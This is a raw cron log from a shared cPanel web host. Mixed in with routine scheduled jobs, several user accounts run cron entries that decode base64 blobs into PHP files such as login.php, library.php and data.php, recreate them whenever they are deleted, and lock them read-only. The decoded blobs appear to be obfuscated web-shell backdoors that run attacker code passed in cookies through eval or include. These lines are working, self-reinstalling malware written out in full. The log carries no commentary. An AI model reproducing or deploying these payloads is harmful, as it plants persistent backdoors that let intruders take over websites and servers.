"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:01:01 medusa CROND[10108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:01:01 medusa CROND[10122]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:01:01 medusa CROND[10123]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:01:01 medusa run-parts(/etc/cron.hourly)[10093]: starting 0anacron
Mar  2 05:01:01 medusa run-parts(/etc/cron.hourly)[10380]: finished 0anacron
Mar  2 05:02:01 medusa CROND[29204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:02:01 medusa CROND[29242]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:02:01 medusa CROND[29243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:02:01 medusa CROND[29424]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:02:01 medusa CROND[29423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:02:01 medusa CROND[29428]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:02:01 medusa CROND[29427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:02:01 medusa CROND[29429]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:02:01 medusa CROND[29430]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:02:01 medusa CROND[29431]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:02:01 medusa CROND[29433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:02:01 medusa CROND[29437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:02:01 medusa CROND[29441]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:03:01 medusa CROND[16430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:03:01 medusa CROND[16433]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:03:01 medusa CROND[16434]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:03:01 medusa CROND[16435]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:03:01 medusa CROND[16436]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:03:01 medusa CROND[16437]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:03:01 medusa CROND[16438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:03:01 medusa CROND[16441]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:03:01 medusa CROND[16442]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:03:01 medusa CROND[16454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:03:01 medusa CROND[16455]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:03:01 medusa CROND[16466]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:04:01 medusa CROND[5741]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:04:01 medusa CROND[6005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
